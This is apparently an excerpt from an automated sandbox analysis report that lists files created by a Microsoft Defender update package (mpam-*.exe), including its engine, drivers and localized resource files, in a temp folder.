        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\en-US\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ro-RO\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpRtp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUxAgent.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\as-IN\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\vi-VN\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\quz-PE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gd-GB\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sl-SI\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ta-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lo-LA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpLics.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Latn-RS\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bs-Latn-BA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpEvMsg.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hi-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUpdate.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\af-ZA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ne-NP\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lv-LV\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cy-GB\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bn-IN\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\et-EE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tt-RU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCmdRun.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Cyrl-RS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mpextms.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpAsDesc.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fil-PH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\th-TH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kok-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mk-MK\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lt-LT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lb-LU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kk-KZ\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpClient.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\endpointdlp.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fa-IR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hr-HR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\he-IL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetours.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\id-ID\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mr-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nn-NO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Cyrl-BA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdFilter.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\az-Latn-AZ\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-BR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES-valencia\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\vi-VN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDlpCmd.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\mpuxagent.dll.mui
